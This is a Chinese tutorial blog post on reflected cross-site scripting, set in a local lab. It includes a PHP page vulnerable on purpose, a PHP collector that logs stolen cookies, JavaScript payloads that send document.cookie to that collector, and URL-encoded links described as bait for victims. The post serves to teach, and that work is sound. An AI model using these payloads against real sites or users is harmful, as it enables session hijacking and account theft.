跨站脚本攻击 XSS

本贴最后更新于 2275 天前,其中的信息可能已经物是人非

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。比如获取用户 Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 XSS 的原理

XSS 的原理其实也就是上面所说,恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意攻击用户的特殊目的。

HTML 的 script 元素标记中间包含 JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成 HTML 或者 XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码是否有害。

0x02 XSS 的危害

XSS 在 OWASP 中一直占据着前十的地位,虽然表面上 XSS 不像 sql 注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为 xss 漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。

它的常见危害有:

  • (1)网络钓鱼,盗取各类用户的账号
  • (2)窃取用户 Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • (4)强制弹出广告页面,刷流量等
  • (5)传播木马

0x03 漏洞复现

首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的 LAMP 环境,也可以搭建一个 wamp 环境,这里为了方便,我就在 windows 下搭建环境测试了,首先我们在 wamp 的 www/xss 文件夹下新建 test.php,然后输入如下内容(前后要有 html 标签):

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
	<title>XSS test</title>
</head>
<body>
	<form action="" method="get">
	<input type="text" name="xss_input">
	<input type="submit">
	</form>
	<hr>
	<?php
	setcookie('cookie','test');
	$xss = $_GET['xss_input'];
	echo 'your input is:<br>'.$xss;
	?>
</body>

然后保存并打开 wamp 服务

通过浏览器访问 127.0.0.1/xss/test.php 来访问刚才创建的页面,

我们在输入框输入,点击提交,发现出现有如下图的 xss 的弹窗,此时环境搭建完成。

0x04 漏洞利用

如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用 xss 漏洞,看看能做到什么程度。

XSS 最经常使用的就是获取 Cookie 了,攻击者通常利用网站的 xss 漏洞向页面写入窃取 Cookie 信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的 Cookie 信息。此时攻击者可以将 Cookie 信息向服务器提交,然后以受害者的身份登陆网站。

我们尝试一个最简单的反射型 xss 获取用户 cookie。

我们先在自己的远程服务器上写一个 php 页面和一个 js 脚本来接收 Cookie 并保存:

hk.php:
cookie = _GET["q"];

  $log = fopen("cookie.txt", "a");

  fwrite($log, $cookie . "\n");

  fclose($log);

  ?>

这段代码的作用是读取 q 的值,然后以增加的方式打开 cookie.txt,然后将读取到的值写入 cookie.txt。

然后我们在漏洞页面构造如下(要加上 script 标签)xss:
var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后我们发现,cookie.txt 中,已经有我们刚才页面的 cookie 了

并且查看源代码,发现源代码中有这样一句 javascript

这个时候,如果把下面链接发送给别人,别人点到就可以获取它的 cookie 了
http://127.0.0.1/xss/test.php?
xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http
%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到 url 中了,很少会有人上当,而且 url 长度太长,遇到某些不能输入这么长 js 脚本的输入框怎么办?

所以就有了一个更好的解决办法,那就是将 js 脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。

我们在自己服务器中和刚才的 hk.php 同路径创建一个 hk.js

hk.js:
var x=new Image();

  x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;

然后在漏洞界面写入如下 xss:
《script src = http://127.0.0.1/xss/hk/hk.js><‘/’script>
发现结果 cookie.txt 多了一行

并且源码中的 javascript 如下

然后我们构造一个链接来欺骗用户
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E
只要用户点击此链接,cookie 就会被记录到我们服务器上的 cookie.txt 里面。

以上就是一次反射性 xss 最简单的利用方式。

0x05 总结

xss 漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和 sql 注入一样十分丰富,在有些时候可以达到意想不到的效果。

这次暂时就写到这里,下一篇关于 xss 的博客会详细的介绍 xss 的一些绕过检测和限制的方式,还有利用 xss 进行网络钓鱼以及网页挂马的方法。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...

推荐标签 标签

  • DNSPod

    DNSPod 建立于 2006 年 3 月份,是一款免费智能 DNS 产品。 DNSPod 可以为同时有电信、网通、教育网服务器的网站提供智能的解析,让电信用户访问电信的服务器,网通的用户访问网通的服务器,教育网的用户访问教育网的服务器,达到互联互通的效果。

    6 引用 • 26 回帖 • 517 关注
  • 单点登录

    单点登录(Single Sign On)是目前比较流行的企业业务整合的解决方案之一。SSO 的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。

    9 引用 • 25 回帖
  • 生活

    生活是指人类生存过程中的各项活动的总和,范畴较广,一般指为幸福的意义而存在。生活实际上是对人生的一种诠释。生活包括人类在社会中与自己息息相关的日常活动和心理影射。

    230 引用 • 1454 回帖
  • Rust

    Rust 是一门赋予每个人构建可靠且高效软件能力的语言。Rust 由 Mozilla 开发,最早发布于 2014 年 9 月。

    58 引用 • 22 回帖
  • C++

    C++ 是在 C 语言的基础上开发的一种通用编程语言,应用广泛。C++ 支持多种编程范式,面向对象编程、泛型编程和过程化编程。

    107 引用 • 153 回帖
  • 智能合约

    智能合约(Smart contract)是一种旨在以信息化方式传播、验证或执行合同的计算机协议。智能合约允许在没有第三方的情况下进行可信交易,这些交易可追踪且不可逆转。智能合约概念于 1994 年由 Nick Szabo 首次提出。

    1 引用 • 11 回帖 • 2 关注
  • 服务

    提供一个服务绝不仅仅是简单的把硬件和软件累加在一起,它包括了服务的可靠性、服务的标准化、以及对服务的监控、维护、技术支持等。

    41 引用 • 24 回帖
  • PWA

    PWA(Progressive Web App)是 Google 在 2015 年提出、2016 年 6 月开始推广的项目。它结合了一系列现代 Web 技术,在网页应用中实现和原生应用相近的用户体验。

    14 引用 • 69 回帖 • 159 关注
  • Kotlin

    Kotlin 是一种在 Java 虚拟机上运行的静态类型编程语言,由 JetBrains 设计开发并开源。Kotlin 可以编译成 Java 字节码,也可以编译成 JavaScript,方便在没有 JVM 的设备上运行。在 Google I/O 2017 中,Google 宣布 Kotlin 成为 Android 官方开发语言。

    19 引用 • 33 回帖 • 63 关注
  • 安装

    你若安好,便是晴天。

    132 引用 • 1184 回帖 • 1 关注
  • iOS

    iOS 是由苹果公司开发的移动操作系统,最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统,最初是设计给 iPhone 使用的,后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样,属于类 Unix 的商业操作系统。

    85 引用 • 139 回帖
  • 人工智能

    人工智能(Artificial Intelligence)是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门技术科学。

    135 引用 • 190 回帖
  • jQuery

    jQuery 是一套跨浏览器的 JavaScript 库,强化 HTML 与 JavaScript 之间的操作。由 John Resig 在 2006 年 1 月的 BarCamp NYC 上释出第一个版本。全球约有 28% 的网站使用 jQuery,是非常受欢迎的 JavaScript 库。

    63 引用 • 134 回帖 • 724 关注
  • Shell

    Shell 脚本与 Windows/Dos 下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的。但是它比 Windows 下的批处理更强大,比用其他编程程序编辑的程序效率更高,因为它使用了 Linux/Unix 下的命令。

    123 引用 • 74 回帖 • 2 关注
  • LeetCode

    LeetCode(力扣)是一个全球极客挚爱的高质量技术成长平台,想要学习和提升专业能力从这里开始,充足技术干货等你来啃,轻松拿下 Dream Offer!

    209 引用 • 72 回帖
  • jsoup

    jsoup 是一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API,可通过 DOM,CSS 以及类似于 jQuery 的操作方法来取出和操作数据。

    6 引用 • 1 回帖 • 484 关注
  • Notion

    Notion - The all-in-one workspace for your notes, tasks, wikis, and databases.

    7 引用 • 40 回帖
  • wolai

    我来 wolai:不仅仅是未来的云端笔记!

    2 引用 • 14 回帖 • 1 关注
  • QQ

    1999 年 2 月腾讯正式推出“腾讯 QQ”,在线用户由 1999 年的 2 人(马化腾和张志东)到现在已经发展到上亿用户了,在线人数超过一亿,是目前使用最广泛的聊天软件之一。

    45 引用 • 557 回帖 • 44 关注
  • 阿里巴巴

    阿里巴巴网络技术有限公司(简称:阿里巴巴集团)是以曾担任英语教师的马云为首的 18 人,于 1999 年在中国杭州创立,他们相信互联网能够创造公平的竞争环境,让小企业通过创新与科技扩展业务,并在参与国内或全球市场竞争时处于更有利的位置。

    43 引用 • 221 回帖 • 106 关注
  • TensorFlow

    TensorFlow 是一个采用数据流图(data flow graphs),用于数值计算的开源软件库。节点(Nodes)在图中表示数学操作,图中的线(edges)则表示在节点间相互联系的多维数据数组,即张量(tensor)。

    20 引用 • 19 回帖 • 1 关注
  • IDEA

    IDEA 全称 IntelliJ IDEA,是一款 Java 语言开发的集成环境,在业界被公认为最好的 Java 开发工具之一。IDEA 是 JetBrains 公司的产品,这家公司总部位于捷克共和国的首都布拉格,开发人员以严谨著称的东欧程序员为主。

    181 引用 • 400 回帖
  • OpenStack

    OpenStack 是一个云操作系统,通过数据中心可控制大型的计算、存储、网络等资源池。所有的管理通过前端界面管理员就可以完成,同样也可以通过 Web 接口让最终用户部署资源。

    10 引用 • 1 关注
  • 博客

    记录并分享人生的经历。

    273 引用 • 2388 回帖
  • Gzip

    gzip (GNU zip)是 GNU 自由软件的文件压缩程序。我们在 Linux 中经常会用到后缀为 .gz 的文件,它们就是 Gzip 格式的。现今已经成为互联网上使用非常普遍的一种数据压缩格式,或者说一种文件格式。

    9 引用 • 12 回帖 • 147 关注
  • RYMCU

    RYMCU 致力于打造一个即严谨又活泼、专业又不失有趣,为数百万人服务的开源嵌入式知识学习交流平台。

    4 引用 • 6 回帖 • 52 关注
  • 笔记

    好记性不如烂笔头。

    308 引用 • 793 回帖